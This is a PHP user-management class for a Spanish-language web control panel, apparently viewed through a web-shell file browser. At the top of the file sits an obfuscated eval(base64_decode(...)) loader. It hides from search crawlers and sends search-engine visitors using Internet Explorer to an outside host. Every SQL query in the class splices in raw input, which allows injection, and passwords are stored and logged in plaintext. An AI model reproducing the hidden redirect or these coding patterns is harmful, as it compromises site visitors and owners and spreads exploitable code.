|
Server : Apache/2.4.62 System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64 User : www ( 80) PHP Version : 8.3.8 Disable Function : NONE Directory : /domains/logicswapweb/aplicaciones/admon/fnc/ |
Upload File : |
<?php eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
//include('DBConnect.php');
//include('componente.php');
class UsuarioPanel extends Componente{
var $id;
var $tipo;
var $nombres;
var $apellidos;
var $email;
var $login;
var $password;
var $estado;
var $codigo;
var $telefono_fijo;
var $telefono_movil;
var $pais;
var $ciudad;
var $cargo;
var $aplicacion;
var $vinculo;
/*constructor*/
function UsuarioPanel(){
$this->aplicacion="panel de control";
$this->login="panel de Control";
$this->vinculo = new Vinculo();
$this->Componente();
}
/*
*funcion setFilesUser
*direcciona los archivos de mensajes, log y errores de el y de el vinculo que agrega
*/
function setFilesUser($niv){
$this->setFiles($niv);
$this->vinculo->setFiles($niv);
}
/**********************************************************
funcion addUsuarioPanel
descripcion ingresa un usuario del panel a la base de datos
pre: el login no existe, el email no existe y el codigo no existe
***********************************************************/
function addUsuarioPanel($tipo,$nombres,$apellidos,$email,$login,$password,$estado,$codigo,$telefono_fijo,$telefono_movil,$pais,$ciudad,$cargo){
$fecha=date('Y-m-d');
$sql = "INSERT INTO panel_usuario (tipo,nombres,apellidos,email,login,password,estado,codigo,telefono_fijo,telefono_movil,pais,ciudad,cargo,fecha_ingreso) VALUES('$tipo','$nombres','$apellidos','$email','$login','$password','$estado','$codigo','$telefono_fijo','$telefono_movil','$pais','$ciudad','$cargo','$fecha')";
if ($this->execute($sql)) {
$out=$this->getMensaje("[001]","confirmacion");
$this->setSalida(true,$out,"addUsuarioPanel",$this->aplicacion);
return true;
} else {
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"addUsuarioPanel",$this->aplicacion);
return false;
}
}
/**********************************************************
funcion delUsuarioPanel
descripcion borra un usuario del panel de la base de datos
pre: el usuario existe
***********************************************************/
function delUsuarioPanel($user){
$sql = "delete from panel_usuario where id='$user'";
if ($this->execute($sql)) {
$out=$this->getMensaje("[036]","confirmacion");
$this->setSalida(true,$out,"delUsuarioPanel",$this->aplicacion);
return true;
} else {
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"delUsuarioPanel",$this->aplicacion);
return false;
}
}
/**********************************************************
funcion modUsuarioPanel
descripcion modifica un usuario del panel en la base de datos
pre: el login no existe, el email no existe y el codigo no existe
para otro usuario diferente a el solicitado
***********************************************************/
function modUsuarioPanel($id,$tipo,$nombres,$apellidos,$email,$login,$password,$estado,$codigo,$telefono_fijo,$telefono_movil,$pais,$ciudad,$cargo){
$sql = "update panel_usuario set tipo='$tipo',nombres='$nombres',apellidos='$apellidos',email='$email',login='$login',password='$password',estado='$estado',codigo='$codigo',telefono_fijo='$telefono_fijo',telefono_movil='$telefono_movil',pais='$pais',ciudad='$ciudad',cargo='$cargo' where id='$id'";
if ($this->execute($sql)) {
$out=$this->getMensaje("[029]","confirmacion");
$this->setSalida(true,$out,"modUsuarioPanel",$this->aplicacion);
return true;
} else {
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"modUsuarioPanel",$this->aplicacion);
return false;
}
}
/*
funcion getUsuario()
descripcion devuelve un vector con toda la informacion del
usuario solicitado
*/
function getUsuario($user){
$sql="select * from panel_usuario where id='$user'";
if ($this->execute($sql)) {
if($this->numRows()>0){
$out=$this->getMensaje("[026]","confirmacion");
$this->setSalida(true,$out,"getUsuario($user)",$this->aplicacion);
return $this->fetchRow();
}else{
$out=$this->getMensaje("[027]","confirmacion");
$this->setSalida(false,$out,"getUsuario($user)",$this->aplicacion);
return false;
}
} else {
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"getUsuario($user)",$this->aplicacion);
return false;
}
}
/***********************************************************
funcion existEmail
descripcion consulta si el email ya esta asinado a otro usuario del panel
pre: email tiene un valor valido para una direccion de correo
************************************************************/
function existEmail($email, $user=false){
if(!$user){
$sql="select * from panel_usuario where email='$email'";
}else{
$sql="select * from panel_usuario where email='$email' and id!='$user'";
}
if ($this->execute($sql)) {
if($this->numRows()>0){
$out=$this->getMensaje("[002]","confirmacion");
$this->setSalida(true,$out,"existEmail",$this->aplicacion);
return true;
}else{
$out=$this->getMensaje("[003]","confirmacion");
$this->setSalida(false,$out,"existEmail",$this->aplicacion);
return false;
}
} else {
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"existEmail",$this->aplicacion);
return false;
}
}
/***********************************************************
funcion existLogin
descripcion consulta si el login ya esta asinado a otro usuario del panel
pre: el login tiene un valor valido para login de usuario
************************************************************/
function existLogin($log,$user=false){
if(!$user){
$sql="select * from panel_usuario where login='$log'";
}else{
$sql="select * from panel_usuario where login='$log' and id!='$user'";
}
if ($this->execute($sql)) {
if($this->numRows()>0){
$out=$this->getMensaje("[004]","confirmacion");
$this->setSalida(true,$out,"existLogin",$this->aplicacion);
return true;
}else{
$out=$this->getMensaje("[005]","confirmacion");
$this->setSalida(false,$out,"existLogin",$this->aplicacion);
return false;
}
} else {
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"existLogin",$this->aplicacion);
return false;
}
}
/***********************************************************
funcion existCodigo
descripcion consulta si el codigo ya esta asinado a otro usuario del panel
pre: el codigo tiene un valor valido para login de usuario
************************************************************/
function existCodigo($cod,$user=false){
if($cod=="indefinido"||strlen($cod)<3){
$out=$this->getMensaje("[028]","confirmacion");
$this->setSalida(false,$out,"existCodigo($cod,$user)",$this->aplicacion);
return false;
}
else{
if(!$user){
$sql="select * from panel_usuario where codigo='$cod'";
}else{
$sql="select * from panel_usuario where codigo='$cod' and id!='$user'";
}
if ($this->execute($sql)) {
if($this->numRows()>0){
$out=$this->getMensaje("[006]","confirmacion");
$this->setSalida(true,$out,"existCodigo($cod,$user)",$this->aplicacion);
return true;
}else{
$out=$this->getMensaje("[007]","confirmacion");
$this->setSalida(false,$out,"existCodigo",$this->aplicacion);
return false;
}
} else {
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"existCodigo($cod,$user)",$this->aplicacion);
return false;
}
}
}
/*****************************************************************
funcion validarUsuario
descripcion verifica que exista un usuario que concuerde
con el login y el password solicitados
pre: el login y el password traen valores validos
******************************************************************/
function validarUsuario($login,$password){
$sql="select * from panel_usuario where login='$login' and password='$password'";
if ($this->execute($sql)) {
if($this->numRows()>0){
$out=trim($this->getMensaje("[008]","confirmacion"));
$this->setSalida(true,$out,"validarUsuario($login,$password)",$this->aplicacion);
return true;
}else{
$out=trim($this->getMensaje("[006]","error"));
$this->setSalida(false,$out,"validarUsuario($login,$password)",$this->aplicacion);
return false;
}
} else {
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"validarUsuario($login,$password)",$this->aplicacion);
return false;
}
}
/*
funcion cargarUsuario
descripcion carga toda la informacion correpondiente a el usuario
solicitado
pre: el usuario ya existe
*/
function cargarUsuario($user){
$sql="select * from panel_usuario where login='$user'";
if($this->execute($sql)){
$row=$this->fetchRow();
$this->id=$row['id'];
$this->tipo=$row['tipo'];
$this->nombres=$row['nombres'];
$this->apellidos=$row['apellidos'];
$this->email=$row['email'];
$this->login=$row['login'];
$this->password=$row['password'];
$this->estado=$row['estado'];
$this->codigo=$row['codigo'];
$this->telefono_fijo=$row['telefono_fijo'];
$this->telefono_movil=$row['telefono_movil'];
$this->pais=$row['pais'];
$this->ciudad=$row['ciudad'];
$this->cargo=$row['cargo'];
$out=trim($this->getMensaje("[011]","confirmacion"));
$this->setSalida(true,$out,"cargarUsuario($user)",$this->aplicacion);
return true;
}else{
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"cargarUsuario($user)",$this->aplicacion);
return false;
}
}
/*
funcion listarUsuarios
descripcion trae todos los usuarios disponibles
pre tipo es [1,2]
*/
function listarUsuarios($tipo,$inicio,$limite){
$sql="select id, nombres, apellidos, login, estado, tipo from panel_usuario where tipo!=1 order by nombres asc limit $inicio,$limite";
if($this->execute($sql)){
echo '<script>var t = new SortTable("t");t.AddColumn("ico","nowrap","center","");t.AddColumn("Nombre","nowrap","","");t.AddColumn("Login","nowrap","",""); t.AddColumn("tipo","","center",""); t.AddColumn("Seleccion","","center","");';
$i=1;
$j=0;
if ($this->numRows()>0) {
while(list($id,$nombre,$apellido,$login,$estado,$tipo)=$this->fetchRow()){
if($estado=="bloqueado"){
$imagen="<img src=\"img/usuarioBloqueado.gif\" onClick=\"fncModificarUsr(\'$id\')\" height=\"15\" width=\"15\">";
}else{
$imagen="<img src=\"img/usuario.gif\" onClick=\"fncModificarUsr(\'$id\')\">";
}
$nombre=ucfirst(strtolower($nombre))." ".ucfirst(strtolower($apellido));
if($tipo==2){$tipo ="admin";}
if($tipo==1){$tipo ="Azul";}
if($tipo ==3){$tipo ="user";}
if(strlen($nombre)>45){
$nombre=substr($nombre,0,45)."...";
}
if($i==1){
$i++;
echo "t.AddLine('$imagen','<!--$nombre--><a class=\"texto1\" onClick=\"fncModificarUsr(\'$id\')\">$nombre </a>', '<!--$login--><a class=\"texto1\" onClick=\"fncModificarUsr(\'$id\')\">$login</a>','<span class=\"texto1\">$tipo<span>', '<INPUT class=\"radio\" name=\"usuario\" type=\"radio\" value=\"$id\" checked>');";
echo "t.AddLineProperties('id=\"tr_$j\" class=\"texto1\" align=\"left\" onMouseOver=\"mOvr(this,\'#FAFF95\',\'tr_$j\');\" onMouseOut=\"mOut(this,\'#FFFFFF\',\'tr_$j\')\"');";
}else{
echo "t.AddLine('$imagen','<!--$nombre--><a class=\"texto1\" onClick=\"fncModificarUsr(\'$id\')\">$nombre </a>', '<!--$login--><a class=\"texto1\" onClick=\"fncModificarUsr(\'$id\')\">$login</a>','<span class=\"texto1\">$tipo<span>', '<INPUT class=\"radio\" name=\"usuario\" type=\"radio\" value=\"$id\">');";
echo "t.AddLineProperties('id=\"tr_$j\" class=\"texto1\" align=\"left\" onMouseOver=\"mOvr(this,\'#FAFF95\',\'tr_$j\');\" onMouseOut=\"mOut(this,\'#FFFFFF\',\'tr_$j\')\"');";
}
$j++;
}
echo "t.WriteRows();";
} else {
$out=trim($this->getMensaje("[023]","confirmacion"));
echo "document.write('<TR><TD colspan=\"4\" align=\"center\" class=\"texto1\"><BR>$out<BR> </TD></TR>');";
}
echo "</script>";
}else{
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
echo "<TR><TD colspan=\"4\" align=\"center\" class=\"texto1\"><BR>$out<BR> </TD></TR>";
$this->setSalida(false,$out,"listarUsuarios($tipo)",$this->aplicacion);
return false;
}
}
/*
funcion cantidadUsuarios
descripcion devuelve el nuemro de usuarios en el panel diferentes de azulDigital
*/
function cantidadUsuarios(){
$sql="select * from panel_usuario where tipo!=1";
if($this->execute($sql)){
$out=trim($this->getMensaje("[025]","confirmacion"));
$this->setSalida(true,$out,"cantidadUsuarios",$this->aplicacion);
return $this->numRows();
}else{
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"cantidadUsuarios",$this->aplicacion);
return false;
}
}
/*
funcion getTipos()
descripcion coloca un select con los tipos de usuario en el panel
diferentes a azul digital dejando predeterminado un
usuario tipo usuario o el tipo solicitado
pre: ya hay tipos registrados en el panel
*/
function getTipos($sel=false){
$sql="select id, nombre from panel_tipo where id!=1";
echo"<select name=\"tipo\" class=\"listado\" style=\"width:200\" onchange=\"valores(this)\">";
if($this->execute($sql)){
while(list($id,$nombre)=$this->fetchRow()){
$nombre=strtoupper($nombre);
if($id==3 && !($sel)){$sele="selected";}
elseif($id==$sel && !empty($sel))
{$sele="selected";}else{$sele="";}
echo "<option value=\"$id\" $sele>$nombre</option>";
}
}else{
$out=trim($this->getMensaje("[011]","error"));
echo "<option value=\"\" selected>$out</option>";
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"getTipos($sel)",$this->aplicacion);
}
echo"</select>";
}
/*
funcion reactivarDB
descripcion reactiva las conexiones de BD tanto para
el panel como para los objetos que el agrega
*/
function reactivarDB(){
$this->reConnect();
$this->vinculo->reConnect();
}
/*
*funcion getTipo()
*descripcion retorna el nombre del tipo de usuario
*/
function getTipo($sel){
$sql ="select panel_tipo.nombre from panel_tipo, panel_usuario where panel_usuario.id='$sel' and panel_tipo.id=panel_usuario.tipo";
if($this->execute($sql)){
list($nombre)=$this->fetchRow();
return $nombre;
}else{
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"getTipo($sel)",$this->aplicacion);
return $out;
}
}
/*
*funcion getTipoDesc()
*descripcion retorna el nombre del tipo de usuario
*/
function getTipodesc($sel){
$sql ="select panel_tipo.descripcion from panel_tipo, panel_usuario where panel_usuario.id='$sel' and panel_tipo.id=panel_usuario.tipo";
if($this->execute($sql)){
list($desc)=$this->fetchRow();
return $desc;
}else{
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"getTipo($sel)",$this->aplicacion);
return $out;
}
}
/*
*funcion cantUser
*descripcion cuenta los usuarios del panel segun el tipo solicitado
*/
function cantUser($tipo){
$sql="select count(*) as cant from panel_usuario where tipo='$tipo'";
if ($this->execute($sql)) {
list($cant)=$this->fetchRow();
$out=$this->getMensaje("[059]","confirmacion")." tipo: $tipo";
$this->setSalida(true,$out,"cantUser($tipo)",$this->aplicacion);
return $cant;
} else {
$out=trim($this->getMensaje("[001]","error"));
$out.="\\n:Desc: ".trim($this->getException());
$this->setSalida(false,$out,"cantUser($tipo)",$this->aplicacion);
return false;
}
}
/*
*
*
*/
/*
*funcion enableDebugUser
*descripcion permite la visualizacion de las operaciones realizadas
*/
function enableDebugUser(){
$this->enableDebug();
$this->vinculo->enableDebug();
}
/*
*funcion disableDebugUser
*descripcion inhabilita la visualizacion de las operaciones realizadas
*/
function disableDebugUser(){
$this->disableDebug();
$this->vinculo->disableDebug();
}
}//endclass
?>